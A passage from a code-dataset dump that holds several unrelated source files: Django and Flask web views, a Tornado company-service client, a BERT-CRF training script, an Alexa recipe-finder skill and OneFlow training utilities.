this.sortie.reinitNeurVal();\n this.entree.calculer();\n this.c1.calculer();\n this.c2.calculer();\n #this.c1.afficher();\n if 0:\n for i in range(len(this.sortie.neurones)):\n print(i,\" \",this.sortie.neurones[i].valeur);\n sleep(1.2);\n #print(this.coucheIntermediaire2.getNeuronesVal())\n this.decisions = sorted(range(len(this.sortie.neurones)),\n key = lambda x : -this.sortie.neurones[x].valeur)\n\n def setEntree(this, tableau):\n for i in range(7):\n for j in range(6):\n this.entree.neurones[i * 6 + j].valeur = tableau[i][j];\n this.entree.neurones[i * 6 + j + 42].valeur = tableau[i][j];\n if (this.entree.neurones[i * 6 + j].valeur == 2):\n this.entree.neurones[i * 6 + j].valeur = 0;\n if (this.entree.neurones[i * 6 + j + 42].valeur == 1):\n this.entree.neurones[i * 6 + j + 42].valeur = 0;\n this.entree.neurones[i * 6 + j + 42].valeur /= 2;\n this.entree.neurones[i * 6 + j].valeur = float(this.entree.neurones[i * 6 + j].valeur);\n this.entree.neurones[i * 6 + j + 42].valeur = float(this.entree.neurones[i * 6 + j + 42].valeur);\n\n \n \n\n","sub_path":"reseaudeneurones.py","file_name":"reseaudeneurones.py","file_ext":"py","file_size_in_byte":3979,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"349068144","text":"from django.urls import path\nfrom . import views\nfrom django.conf import settings\nfrom django.conf.urls.static import static\n#from django.conf.urls import include\n\n\nurlpatterns = [\n path('', views.login, name=\"login\"),\n path('signup/', views.signup, name=\"signup\"),\n path('introduce/', views.introduce, name=\"introduce\"),\n path('policy/', views.policy, name=\"policy\"),\n path('logout/', views.logout, name=\"logout\"),\n path('choose/', views.choose, name=\"choose\"),\n path('atm/', views.choose_atm, name=\"choose_atm\"),\n path('choose3/', views.choose3, name=\"choose3\"),\n path('home/', views.home, name=\"home\"),\n path('post/', views.post, name=\"post\"),\n path('search/', views.search, name=\"search\"),\n] + static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)","sub_path":"users/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":792,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"252805534","text":"\r\nimport bert\r\nimport tensorflow as tf\r\n\r\nfrom hparams import Hparams\r\nfrom model.layers import CrfLayer\r\nimport utils\r\nimport tqdm, os\r\nfrom model.bert_crf import BertCrf\r\nfrom data_load import get_batch, idx2token\r\nfrom vocab_manager import Vocab\r\n\r\nimport logging\r\nlogging.basicConfig(level=logging.INFO)\r\n\r\nhparams = Hparams()\r\nhp = hparams.parser.parse_args()\r\n\r\n\r\ntag_vocab = Vocab(hp.tag_mapping_file)\r\nnum_tags = len(tag_vocab.vocab_dict)\r\n\r\nprint(\"####### get batch\", hp.train_path, hp.test_path)\r\ntrain_batches, num_train_batches, num_sample = get_batch(hp.train_path, hp.batch_size,\r\n hp.max_seq_length, hp.vocab_file,\r\n hp.tag_mapping_file, do_lower_case = False)\r\neval_batches, num_eval_batches, num_sample = get_batch(hp.test_path, hp.batch_size,\r\n hp.max_seq_length, hp.vocab_file,\r\n hp.tag_mapping_file, do_lower_case = False)\r\n\r\n\r\nt_shape = tf.compat.v1.data.get_output_shapes(train_batches)\r\nt_types = tf.compat.v1.data.get_output_types(train_batches)\r\n\r\niter = tf.compat.v1.data.Iterator.from_structure(t_types, t_shape)\r\n\r\neval_init_op = iter.make_initializer(eval_batches)\r\ntrain_init_op = iter.make_initializer(train_batches)\r\nxs, ys, ori_chars, ori_tags = iter.get_next()\r\n\r\nbert_config = utils.load_json(hp.bert_config)\r\n\r\nprint(\"####### bert config\", bert_config)\r\nall_steps = num_train_batches * hp.num_epochs\r\nnum_warmup_steps = int(all_steps * hp.warmup_prop)\r\n\r\n#training_mode = tf.placeholder_with_default(True, shape=())\r\ntraining_mode = tf.keras.Input(name=\"training_mode\", shape=(), dtype=tf.dtypes.bool)\r\nbert_crf_fn = BertCrf(bert_config, hp.layer_type, num_tags)\r\nloss, train_op, out_tags = bert_crf_fn.create_model((xs, ys), training_mode, hp.dropout_rate, hp.lr, all_steps, num_warmup_steps)\r\n\r\n\r\n\"\"\"\r\nglobal_step = tf.train.get_or_create_global_step()\r\ntrain_summaries = None\r\n\r\ntf.summary.scalar(\"global_step\", global_step)\r\ntrain_summary = tf.summary.merge_all()\r\n\r\nlogging.info(\"# Session\")\r\nsaver = tf.train.Saver(max_to_keep = hp.num_epochs)\r\nwith tf.Session() as sess:\r\n sess.run(train_init_op)\r\n ckpt = tf.train.latest_checkpoint(hp.logdir)\r\n if ckpt is None:\r\n logging.info(\"initial from scrtch\")\r\n sess.run(tf.global_variables_initializer())\r\n utils.save_variable_specs(os.path.join(hp.logdir, \"specs\"))\r\n else:\r\n saver.restore(sess, ckpt)\r\n\r\n summary_writer = tf.summary.FileWriter(hp.logdir, sess.graph)\r\n \r\n _gs = sess.run(global_step)\r\n for i in tqdm(range(_gs, all_steps + 1)):\r\n\r\n _, _gs, _summary = sess.run([train_op, global_step, train_summaries], feed_dict={training_mode: True})\r\n\r\n if _gs and _gs % num_train_batches == 0:\r\n epoch = _gs / num_train_batches\r\n logging.info(\"Epoch %d is done\"%epoch)\r\n\r\n _summary, _loss = sess.run([train_summary, loss], feed_dict={training_mode: False}) # train loss\r\n summary_writer.add_summary(_summary, _gs)\r\n\r\n sess.run(eval_init_op)\r\n for i in range(num_eval_batches):\r\n [_out_tag, _ori_chrs, _ori_tags] = sess.run([out_tags, ori_chars, ori_tags], feed_dict={training_mode: False})\r\n eval_tags = tag_vocab.batches2vocab(_out_tag)\r\n\r\n model_name = \"bert_crf_E%d_%.3f\"%(epoch, _loss)\r\n logging.info(\"# write result\")\r\n evaled_tags_file = os.path.join(hp.logdir, model_name)\r\n with open(evaled_tags_file, \"w\") as f:\r\n for tags in eval_tags:\r\n f.write(\" \".join(tags) + \"\\n\")\r\n\r\n logging.info(\"# save model\")\r\n ckpt_name = os.path.join(hp.logdir, model_name)\r\n saver.save(sess, ckpt_name, global_step=_gs)\r\n\r\n logging.info(\"# back to train\")\r\n sess.run(train_init_op)\r\n\r\n sess.run(loss)\r\n\r\n\"\"\"\r\n","sub_path":"train_test.py","file_name":"train_test.py","file_ext":"py","file_size_in_byte":3985,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"469519223","text":"# coding=utf-8\n\nimport tornado.gen as gen\n\nimport conf.path as path\nfrom service.data.base import DataService\nfrom service.data.infra.framework.client.client import ServiceClientFactory\nfrom thrift_gen.gen.common.struct.ttypes import BIZException\nfrom thrift_gen.gen.company.service.CompanyServices import \\\n Client as CompanyServicesClient\nfrom util.tool.dict_tool import ObjectDict\nfrom util.tool.http_tool import http_get, unboxing, http_post, http_get_v2, http_put_v2\n\nfrom conf.newinfra_service_conf.service_info import company_service\nfrom conf.newinfra_service_conf.company import company\n\n\nclass InfraCompanyDataService(DataService):\n\n company_services_client = ServiceClientFactory.get_service(CompanyServicesClient)\n\n @gen.coroutine\n def get_company_by_id(self, params):\n res = yield http_get(path.COMPANY, params)\n return unboxing(res)\n\n @gen.coroutine\n def get_company_all(self, params):\n res = yield http_get(path.COMPANY_ALL, params)\n return unboxing(res)\n\n @gen.coroutine\n def create_company_on_wechat(self, params):\n res = yield http_post(path.COMPANY, params)\n return unboxing(res)\n\n @gen.coroutine\n def create_company(self, params):\n res = yield http_post(path.CREATE_COMPANY, params)\n raise gen.Return(res)\n\n @gen.coroutine\n def belongs_to_group_company(self, company_id) -> bool:\n try:\n res = yield self.company_services_client.isGroupCompanies(int(company_id))\n except BIZException as e:\n self.logger.debug(\"%s - %s\" % (e.code, e.message))\n return False\n else:\n return res\n\n @staticmethod\n def _thrift_companys_to_dict(thrift_companys):\n \"\"\"将基础服务返回的对象转换成 ObjecitDict,\n 会过滤掉没有 signature 的元素\n (这种情况在数据正常的时候很难发生,但是为了预防 bug,先下手为强)\n \"\"\"\n for c in thrift_companys:\n if c.signature:\n yield ObjectDict(id=c.id, name=c.name,\n abbreviation=c.abbreviation,\n signature=c.signature)\n\n @gen.coroutine\n def get_group_company_list(self, company_id) -> list:\n try:\n res = yield self.company_services_client.getGroupCompanies(\n int(company_id))\n except BIZException as e:\n self.logger.debug(\"%s - %s\" % (e.code, e.message))\n return []\n else:\n return list(self._thrift_companys_to_dict(res))\n\n @gen.coroutine\n def get_only_referral_reward(self, company_id):\n params = ObjectDict({\n \"company_id\": company_id\n })\n res = yield http_get(path.ONLY_REFERRAL_REWARD, params)\n return res\n\n @gen.coroutine\n def get_crucial_info_state(self, company_id):\n \"\"\"\n 获取推荐人才关键信息开关状态\n :param company_id:\n :return:\n\n \"\"\"\n params = ObjectDict({\n \"company_id\": company_id,\n })\n res = yield http_get(path.INFRA_REFERRAL_CRUCIAL_INFO_SWITCH, params)\n return res\n\n @gen.coroutine\n def check_oms_switch_status(self, company_id, module_name):\n \"\"\"\n 检查oms控制的一系列开关状态\n :param company_id: 公司id\n :param module_name: 需检查开关的模块名\n :return:\n \"\"\"\n params = ObjectDict({\n \"companyId\": company_id,\n \"moduleName\": module_name\n })\n res = yield http_get(path.OMS_SWITCH, params)\n return res\n\n @gen.coroutine\n def get_oms_all_switch_status(self, company_id):\n \"\"\"\n 获取oms开关状态\n :param company_id: 公司id\n :return:\n \"\"\"\n params = ObjectDict({\n \"companyId\": company_id,\n \"appid\": 102,\n })\n res = yield http_get(path.OMS_SWITCH_ALL, params)\n return res\n\n @gen.coroutine\n def get_hr_chat_switch_status(self, company_id, candidate_source):\n \"\"\"\n 获取是否显示联系HR的开关配置\n :param company_id:\n :param candidate_source: 0 社招 1 校招 9 全部(显示个人中心首页中我的消息)\n :return:\n \"\"\"\n mobot_type = {'0': ['社招版MoBot(人工对话模式)', '社招版MoBot(人工+智能对话模式)'],\n '1': ['校招MoBot(人工对话模式)', '校招MoBot(人工+智能对话模式)'],\n '9': ['社招版MoBot(人工对话模式)', '社招版MoBot(人工+智能对话模式)',\n '校招MoBot(人工对话模式)', '校招MoBot(人工+智能对话模式)',\n '员工版MoBot(人工对话模式)', '员工版MoBot(人工+智能对话模式)']}\n\n if candidate_source not in ['0', '1', '9']:\n raise gen.Return(False)\n\n res = yield self.get_oms_all_switch_status(company_id)\n if not res.data:\n self.logger.warning(\"get_hr_chat_switch_status is null, company.id:{}\".format(company_id))\n raise gen.Return(False)\n\n for product in res.data:\n if product['keyword'] in mobot_type[candidate_source]:\n if product['valid'] == 1:\n raise gen.Return(True)\n\n raise gen.Return(False)\n\n @gen.coroutine\n def get_company_hr_info(self, params):\n \"\"\"\n 根据hrId获取HR信息\n :param params : {'hrId': 123}\n \"\"\"\n ret = yield http_get_v2(company.COMPANY_HR_INFO, company_service, params)\n return ret\n\n @gen.coroutine\n def get_company_hr_list(self, params):\n \"\"\"\n 根据hr_ids批量获取HR列表数据\n :param params : [1, 2]\n \"\"\"\n ret = yield http_put_v2(company.COMPANY_HR_LIST, company_service, params)\n return ret\n\n @gen.coroutine\n def get_company_list(self, params):\n \"\"\"\n 根据company_ids批量获取公司列表数据\n :param params : [1, 2]\n \"\"\"\n ret = yield http_put_v2(company.COMPANY_LIST, company_service, params)\n return ret\n\n @gen.coroutine\n def get_company_conf(self, params):\n \"\"\"\n 根据company_id获取公司列表数据\n :param params : {'companyId': 1}\n \"\"\"\n ret = yield http_put_v2(company.COMPANY_CONF, company_service, params)\n return ret\n\n @gen.coroutine\n def batch_get_company_conf(self, company_ids):\n \"\"\"\n 根据company_id获取公司列表数据\n :param params : companyIds: [1, 2, 3]\n \"\"\"\n params = ObjectDict({\n \"companyIds\": company_ids,\n })\n ret = yield http_get_v2(company.COMPANY_CONF_BY_COMPANY_IDS, company_service, params)\n return ret\n\n @gen.coroutine\n def get_company_mobot_conf(self, company_id):\n params = ObjectDict({\n \"company_id\": company_id,\n })\n res = yield self.get_company_conf(params)\n if not res.data:\n raise gen.Return({})\n\n mobot_conf_info = ObjectDict(dict(name='', headimg='', welcome=''))\n conf = ObjectDict(res.data)\n mobot_conf_info.name = conf.mobot_name\n mobot_conf_info.headimg = conf.mobot_head_img\n mobot_conf_info.welcome = conf.mobot_welcome\n\n raise gen.Return(mobot_conf_info)\n\n @gen.coroutine\n def get_referral_rule_switch(self, company_id):\n params = ObjectDict({\n \"company_id\": company_id\n })\n ret = yield http_get_v2(company.REFERRAL_RULE_SWITCH, company_service, params)\n return ret\n\n @gen.coroutine\n def get_nearby_stores(self, params):\n \"\"\"\n 获取用户指定范围内门店位置\n :param params : {'companyId': 123, 'longitude': 120.749991, 'latitude': 30.770423, 'radius': }\n \"\"\"\n ret = yield http_get_v2(company.COMPANY_NEARBY_STORES, company_service, params)\n return ret\n\n @gen.coroutine\n def get_position_lbs_info(self, params, pid):\n \"\"\"\n 根据职位id获取职位的LBS信息\n :param params :\n \"\"\"\n ret = yield http_get_v2(company.COMPANY_POSITION_LBS.format(pid), company_service, params)\n return ret\n\n @gen.coroutine\n def get_lbs_ip_location(self, remote_ip):\n \"\"\"\n 高德地图ip定位接口: 根据remote_ip获取定位信息:经纬度\n \"\"\"\n ret = yield http_get(path.LBS_IP_LOCATION.format(remote_ip), infra=False)\n return ret\n","sub_path":"service/data/infra/infra_company.py","file_name":"infra_company.py","file_ext":"py","file_size_in_byte":8556,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"16935582","text":"from flask import Blueprint, session, request, redirect, url_for, render_template\nfrom . import db\nfrom .auth import userLoggedIn,userType\n\nstaff = Blueprint('staff',__name__)\n\n@staff.route('/viewstaffprofile', methods= ['POST'])\ndef viewsold():\n if not(userLoggedIn() and userType('staff')):\n return\n dbCursor = db.cursor()\n sql = \"SELECT * FROM staff_database WHERE employee_ID=%s\"\n val = (session['id'])\n dbCursor.execute(sql, val)\n res = dbCursor.fetchone()\n dbCursor.close()\n return res\n\n","sub_path":"MainApp/app/staff.py","file_name":"staff.py","file_ext":"py","file_size_in_byte":524,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"594631408","text":"\nfrom django.contrib.auth import login\nfrom django.contrib.auth.models import User\nfrom django.contrib.sites.shortcuts import get_current_site\nfrom django.core.mail import EmailMessage\nfrom django.http import HttpResponse\nfrom django.shortcuts import render\nfrom django.template.loader import render_to_string\nfrom django.utils.encoding import force_bytes, force_text\nfrom django.utils.http import urlsafe_base64_encode, urlsafe_base64_decode\n\nfrom delegatewebapp.forms import SignupForm\nfrom delegatewebapp.tokens import account_activation_token\n\n\ndef index(request):\n current_user = None\n wallet = None\n try:\n current_user = User.objects.get(username=request.user.username)\n wallet = current_user.user.main_ark_wallet\n except Exception:\n pass\n\n context = {\"current_user\": current_user,\n \"wallet\": wallet\n }\n\n return render(request, 'home/index.html', context)\n\n\ndef signup(request):\n if request.method == 'POST':\n form = SignupForm(request.POST)\n if form.is_valid():\n user = form.save(commit=False)\n user.is_active = False\n user.save()\n current_site = get_current_site(request)\n message = render_to_string('home/acc_active_email.html', {\n 'user': user,\n 'domain': current_site.domain,\n 'uid': urlsafe_base64_encode(force_bytes(user.pk)),\n 'token': account_activation_token.make_token(user),\n })\n mail_subject = 'Activate your Dutchdelegate account.'\n to_email = form.cleaned_data.get('email')\n email = EmailMessage(mail_subject, message, to=[to_email])\n email.send()\n return render(request, 'registration/confirm_email.html')\n\n else:\n form = SignupForm()\n\n return render(request, 'home/signup.html', {'form': form})\n\n\ndef activate(request, uidb64, token):\n try:\n uid = force_text(urlsafe_base64_decode(uidb64))\n user = User.objects.get(pk=uid)\n except(TypeError, ValueError, OverflowError, User.DoesNotExist):\n user = None\n if user is not None and account_activation_token.check_token(user, token):\n user.is_active = True\n user.save()\n login(request, user)\n # return redirect('home')\n return render(request, 'registration/email_activated.html')\n else:\n return render(request, 'registration/link_expired.html')","sub_path":"home/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2464,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"609961637","text":"from flask import Flask\nfrom flask_ask import Ask, statement, question, session\nimport datetime\nimport requests\nimport logging\nimport os\n\napp = Flask(__name__)\n# app.config['ASK_APPLICATION_ID'] = 'amzn1.ask.skill.2b01e5b0-9f38-41eb-bb0c-d57ab17b5d5a'\n\nindex = 0\nlenJson = 0\nresponse = []\nrecipe = ''\nid = '-1'\ninstructionSteps = []\nlastInstruction = 0\ng_ingredients = []\nask = Ask(app, '/')\n\nif os.getenv('GREETINGS_DEBUG_EN', False):\n logging.getLogger('flask_ask').setLevel(logging.DEBUG)\n\n@ask.launch\ndef launch():\n speech_text = \"Welcome to our smart recipe finder app. Tasty Dish Guaranteed. \" \\\n \"Ask the Master Chef what can I cook today?. Just tell Master Chef what Ingredients do you have\";\n reprompt_text = \"You can say Give me recipe for Tomato onion and chilly etc. \";\n return question(speech_text).reprompt(reprompt_text)\n\n@ask.intent('NewIngredientIntent')\ndef handle_new_ingredient_intent(ingredients):\n global index\n index = 0\n global lastInstruction\n lastInstruction = 0\n global instructionSteps\n instructionSteps = []\n global response\n response = getRecipe(ingredients)\n if len(response) <= 0 :\n speech_text = 'Sorry! No recipe found with ingredients ' + str(ingredients) + ' Try ' \\\n 'Adding or removing an ingredient'\n reprompt_text = 'You can add ingredient by saying add Chicken or To Remove say remove Tomato '\n return question(speech_text).reprompt(reprompt_text)\n speech_text = 'Top recipe I found is. '\n speech_text += response[index]['title']\n global id\n id = response[index]['id']\n global lenJson\n lenJson = len(response)\n speech_text += ' Would you like Master Chef to walk you through this recipe step by step?'\n reprompt_text = ' You can say start cooking or yes for detailed instructions or No for new dish'\n session.attributes['new_ingredient_intent'] = True\n return question(speech_text).reprompt(reprompt_text)\n\n@ask.intent('NextRecipe')\ndef handle_next_recipe():\n if 'new_ingredient_intent' in session.attributes:\n speech_text = 'your next recipe is. '\n global index\n index += 1\n reprompt_text = '';\n if index < lenJson:\n global id\n id = response[index]['id']\n speech_text += response[index]['title']\n speech_text += '. Would you like Master Chef to walk you through this recipe step by step?'\n reprompt_text = ' You can say start cooking or yes for detailed instructions or No for new dish'\n else:\n speech_text = 'No more Recipe. Try adding or removing ingredients to master chef '\n else:\n speech_text = 'Wrong Invocation'\n return statement(speech_text)\n return question(speech_text).reprompt(reprompt_text)\n\n@ask.intent('InstructionSetIntent')\ndef handle_instruction_set_intent():\n if 'new_ingredient_intent' in session.attributes:\n global instructionSteps\n instructionSteps = getInstructions(id)\n\n if len(instructionSteps[0]['steps']) > 0:\n speech_text = 'Here are the Instructions. Step. '\n speech_text += str(instructionSteps[0]['steps'][lastInstruction]['number']) + ' ' + \\\n str(instructionSteps[0]['steps'][lastInstruction]['step']) +\\\n \". When ready say Next Step\"\n else:\n speech_text = 'There are no Instructions for this Dish. Enjoy your meal'\n return statement(speech_text)\n else:\n speech_text = 'For instruction on how to make a dish you must select a recipe first'\n return question(speech_text)\n\n return question(speech_text)\n\n\n@ask.intent('NextInstructionIntent')\ndef handle_next_instruction_intent():\n global lastInstruction\n lastInstruction += 1\n print (str(len(instructionSteps[0]['steps'])) + ' '+ str(lastInstruction))\n speech_text = '';\n if lastInstruction == (len(instructionSteps[0]['steps']) - 1):\n speech_text += ' you are almost done. Final Step ' + ' ' + \\\n str (instructionSteps[0]['steps'][lastInstruction]['step']) + \". Enjoy your meal. Good Bye\"\n return statement(speech_text)\n elif lastInstruction < (len(instructionSteps[0]['steps']) - 1):\n speech_text += 'step ' + str(instructionSteps[0]['steps'][lastInstruction]['number']) + \\\n str(instructionSteps[0]['steps'][lastInstruction]['step']) + \". When ready say Next Step\"\n else:\n speech_text = \"Your dish is completed. Enjoy the Dish\";\n return statement(speech_text)\n return question(speech_text)\n\n\n@ask.intent('AddIngredientIntent')\ndef handle_add_ingredient(ingredients):\n global g_ingredients\n if ingredients in g_ingredients:\n speech_text = 'This ingredient is already present try adding some other ingredient'\n return question(speech_text)\n else:\n temp = ' '.join(g_ingredients)\n g_ingredients = ingredients + ' ' + temp\n print (g_ingredients)\n return handle_new_ingredient_intent(g_ingredients)\n\n\n@ask.intent('RemoveIngredientIntent')\ndef handle_add_ingredient(ingredients):\n global g_ingredients\n print (ingredients)\n print (g_ingredients)\n if ingredients in g_ingredients:\n g_ingredients.remove(ingredients)\n else:\n speech_text = 'Sorry this ingredient is not present. please try another ingredient'\n return question(speech_text)\n temp = ' '.join(g_ingredients)\n g_ingredients = temp\n print (g_ingredients)\n return handle_new_ingredient_intent(g_ingredients)\n\n@ask.intent('AMAZON.StopIntent')\ndef handle_stop_intent():\n speech_text = 'Good Bye! Have a Nice Day'\n return statement(speech_text)\n\ndef getInstructions(id):\n url = 'https://spoonacular-recipe-food-nutrition-v1.p.mashape.com/recipes/' \\\n + str(id) + '/analyzedInstructions?stepBreakdown=true'\n headers = {'X-Mashape-Key':'your Key','Accept':'application/json'}\n print (url)\n r = requests.get(url,headers=headers)\n instruction = r.json()\n print (instruction)\n return instruction\n\n\ndef getRecipe(ingredients):\n #li = ['tomato','onion']\n global g_ingredients\n g_ingredients = ingredients.split()\n all_ingredients = \",\".join(g_ingredients)\n print (all_ingredients)\n url = 'https://spoonacular-recipe-food-nutrition-v1.p.mashape.com/recipes/' \\\n 'findByIngredients?fillIngredients=false&ingredients='+ all_ingredients + '&limitLicense=false&number=5&ranking=1'\n headers = {'X-Mashape-Key':'your Key' ,'Accept':'application/json'}\n print (url)\n r = requests.get(url,headers=headers)\n # r.content = r._content.replace('\\\\', '')\n recipe = r.json()\n print (recipe)\n return recipe\n\n\nif __name__ == '__main__':\n app.config['ASK_VERIFY_REQUESTS'] = False\n port = int(os.getenv('PORT',5000))\n print (\"Starting app on port %d\" % port)\n app.run(debug=False,port=port,host='0.0.0.0')\n","sub_path":"MasterChef.py","file_name":"MasterChef.py","file_ext":"py","file_size_in_byte":6961,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"387677952","text":"# encoding:utf-8\nfrom IPython import display\nimport time\nimport matplotlib.pyplot as plt\nimport oneflow as flow\nfrom oneflow.utils import data\nimport oneflow.utils.vision.transforms as transforms\nimport numpy as np\n\nrng = np.random.default_rng(123)\nflow.manual_seed(123)\n\nclass Timer:\n \"\"\"记录多次运行时间。\"\"\"\n def __init__(self):\n self.times = []\n self.start()\n\n def start(self):\n \"\"\"启动计时器。\"\"\"\n self.tik = time.time()\n\n def stop(self):\n \"\"\"停止计时器并将时间记录在列表中。\"\"\"\n self.times.append(time.time() - self.tik)\n return self.times[-1]\n\n def avg(self):\n \"\"\"返回平均时间。\"\"\"\n return sum(self.times) / len(self.times)\n\n def sum(self):\n \"\"\"返回时间总和。\"\"\"\n return sum(self.times)\n\n def cumsum(self):\n \"\"\"返回累计时间。\"\"\"\n return np.array(self.times).cumsum().tolist()\n\n\ndef use_svg_display():\n \"\"\"使用svg格式在Jupyter中显示绘图。\"\"\"\n display.set_matplotlib_formats('svg')\n\n\ndef set_figsize(figsize=(3.5, 2.5)):\n \"\"\"设置matplotlib的图表大小。\"\"\"\n use_svg_display()\n plt.rcParams['figure.figsize'] = figsize\n\n\ndef set_axes(axes, xlabel, ylabel, xlim, ylim, xscale, yscale, legend):\n \"\"\"设置matplotlib的轴。\"\"\"\n axes.set_xlabel(xlabel)\n axes.set_ylabel(ylabel)\n axes.set_xscale(xscale)\n axes.set_yscale(yscale)\n axes.set_xlim(xlim)\n axes.set_ylim(ylim)\n if legend:\n axes.legend(legend)\n axes.grid()\n\n\ndef plot(X,\n Y=None,\n xlabel=None,\n ylabel=None,\n legend=None,\n xlim=None,\n ylim=None,\n xscale='linear',\n yscale='linear',\n fmts=('-', 'm--', 'g-.', 'r:'),\n figsize=(3.5, 2.5),\n axes=None):\n \"\"\"绘制数据点。\"\"\"\n if legend is None:\n legend = []\n\n set_figsize(figsize)\n axes = axes if axes else plt.gca()\n\n # 如果 `X` 有一个轴,输出True\n def has_one_axis(X):\n return (hasattr(X, \"ndim\") and X.ndim == 1\n or isinstance(X, list) and not hasattr(X[0], \"__len__\"))\n\n if has_one_axis(X):\n X = [X]\n if Y is None:\n X, Y = [[]] * len(X), X\n elif has_one_axis(Y):\n Y = [Y]\n if len(X) != len(Y):\n X = X * len(Y)\n axes.cla()\n for x, y, fmt in zip(X, Y, fmts):\n if len(x):\n axes.plot(x, y, fmt)\n else:\n axes.plot(y, fmt)\n set_axes(axes, xlabel, ylabel, xlim, ylim, xscale, yscale, legend)\n\n\ndef synthetic_data(w, b, num_examples):\n \"\"\"生成 y = Xw + b + 噪声。\"\"\"\n X = flow.randn(num_examples, w.shape[0])\n y = flow.matmul(X, w.reshape(w.shape[0], -1)) + b\n y = y.reshape(-1)\n y += flow.tensor(rng.normal(0, 0.01, y.shape[0]).astype(np.float32))\n return X, flow.reshape(y, (-1, 1))\n\n\ndef get_dataloader_workers():\n \"\"\"使用4个进程来读取数据。\"\"\"\n return 4\n\n\ndef load_data_fashion_mnist(batch_size, resize=None):\n \"\"\"下载Fashion-MNIST数据集,然后将其加载到内存中。\"\"\"\n trans = [transforms.ToTensor()]\n if resize:\n trans.insert(0, transforms.Resize(resize))\n trans = transforms.Compose(trans)\n mnist_train = flow.utils.vision.datasets.FashionMNIST(root=\"../data\",\n train=True,\n transform=trans,\n download=True)\n mnist_test = flow.utils.vision.datasets.FashionMNIST(root=\"../data\",\n train=False,\n transform=trans,\n download=True)\n return (data.DataLoader(mnist_train,\n batch_size,\n shuffle=True,\n num_workers=get_dataloader_workers()),\n data.DataLoader(mnist_test,\n batch_size,\n shuffle=False,\n num_workers=get_dataloader_workers()))\n\n\ndef sgd(params, lr, batch_size):\n \"\"\"小批量随机梯度下降。\"\"\"\n with flow.no_grad():\n for param in params:\n param[:] -= lr * param.grad / batch_size\n param.grad.zeros_()\n\n\ndef show_images(imgs, num_rows, num_cols, titles=None, scale=1.5):\n \"\"\"Plot a list of images.\"\"\"\n figsize = (num_cols * scale, num_rows * scale)\n _, axes = plt.subplots(num_rows, num_cols, figsize=figsize)\n axes = axes.flatten()\n for i, (ax, img) in enumerate(zip(axes, imgs)):\n if isinstance(img, flow._oneflow_internal.Tensor):\n # 图片张量\n ax.imshow(img.numpy())\n else:\n # PIL图片\n ax.imshow(img)\n ax.axes.get_xaxis().set_visible(False)\n ax.axes.get_yaxis().set_visible(False)\n if titles:\n ax.set_title(titles[i])\n return axes\n\n\ndef get_fashion_mnist_labels(labels):\n \"\"\"返回Fashion-MNIST数据集的文本标签。\"\"\"\n text_labels = [\n 't-shirt', 'trouser', 'pullover', 'dress', 'coat', 'sandal', 'shirt',\n 'sneaker', 'bag', 'ankle boot'\n ]\n return [text_labels[int(i.item())] for i in labels]\n\n\nclass Accumulator:\n \"\"\"在`n`个变量上累加。\"\"\"\n def __init__(self, n):\n self.data = [0.0] * n\n\n def add(self, *args):\n self.data = [a + float(b) for a, b in zip(self.data, args)]\n\n def reset(self):\n self.data = [0.0] * len(self.data)\n\n def __getitem__(self, idx):\n return self.data[idx]\n\n\nclass Animator:\n \"\"\"在动画中绘制数据。\"\"\"\n def __init__(self,\n xlabel=None,\n ylabel=None,\n legend=None,\n xlim=None,\n ylim=None,\n xscale='linear',\n yscale='linear',\n fmts=('-', 'm--', 'g-.', 'r:'),\n nrows=1,\n ncols=1,\n figsize=(3.5, 2.5)):\n # 增量地绘制多条线\n if legend is None:\n legend = []\n use_svg_display()\n self.fig, self.axes = plt.subplots(nrows, ncols, figsize=figsize)\n if nrows * ncols == 1:\n self.axes = [\n self.axes,\n ]\n # 使用lambda函数捕获参数\n self.config_axes = lambda: set_axes(self.axes[0], xlabel, ylabel, xlim,\n ylim, xscale, yscale, legend)\n self.X, self.Y, self.fmts = None, None, fmts\n\n def add(self, x, y):\n # 向图表中添加多个数据点\n if not hasattr(y, \"__len__\"):\n y = [y]\n n = len(y)\n if not hasattr(x, \"__len__\"):\n x = [x] * n\n if not self.X:\n self.X = [[] for _ in range(n)]\n if not self.Y:\n self.Y = [[] for _ in range(n)]\n for i, (a, b) in enumerate(zip(x, y)):\n if a is not None and b is not None:\n self.X[i].append(a)\n self.Y[i].append(b)\n self.axes[0].cla()\n for x, y, fmt in zip(self.X, self.Y, self.fmts):\n self.axes[0].plot(x, y, fmt)\n self.config_axes()\n display.display(self.fig)\n display.clear_output(wait=True)\n\n\ndef evaluate_accuracy(net, data_iter):\n \"\"\"计算在指定数据集上模型的精度。\"\"\"\n if isinstance(net, flow.nn.Module):\n net.eval() # 将模型设置为评估模式\n metric = Accumulator(2) # 正确预测数、预测总数\n for X, y in data_iter:\n metric.add(accuracy(net(X), y), y.numel())\n return metric[0] / metric[1]\n\n\ndef accuracy(y_hat, y):\n \"\"\"计算预测正确的数量。\"\"\"\n if len(y_hat.shape) > 1 and y_hat.shape[1] > 1:\n y_hat = y_hat.argmax(dim=1)\n cmp = y_hat.type_as(y) == y\n return float(cmp.type_as(y).sum().item())\n\n\ndef train_epoch_ch3(net, train_iter, loss, updater):\n \"\"\"训练模型一个迭代周期(定义见第3章)。\"\"\"\n # 将模型设置为训练模式\n if isinstance(net, flow.nn.Module):\n net.train()\n # 训练损失总和、训练准确度总和、样本数\n metric = Accumulator(3)\n for X, y in train_iter:\n # 计算梯度并更新参数\n y_hat = net(X)\n l = loss(y_hat, y)\n if isinstance(updater, flow.optim.Optimizer):\n # 使用PyTorch内置的优化器和损失函数\n updater.zero_grad()\n l.backward()\n updater.step()\n metric.add(\n float(l.item()) * y.shape[0], accuracy(y_hat, y),\n y.size().numel())\n else:\n # 使用定制的优化器和损失函数\n l.sum().backward()\n updater(X.shape[0])\n 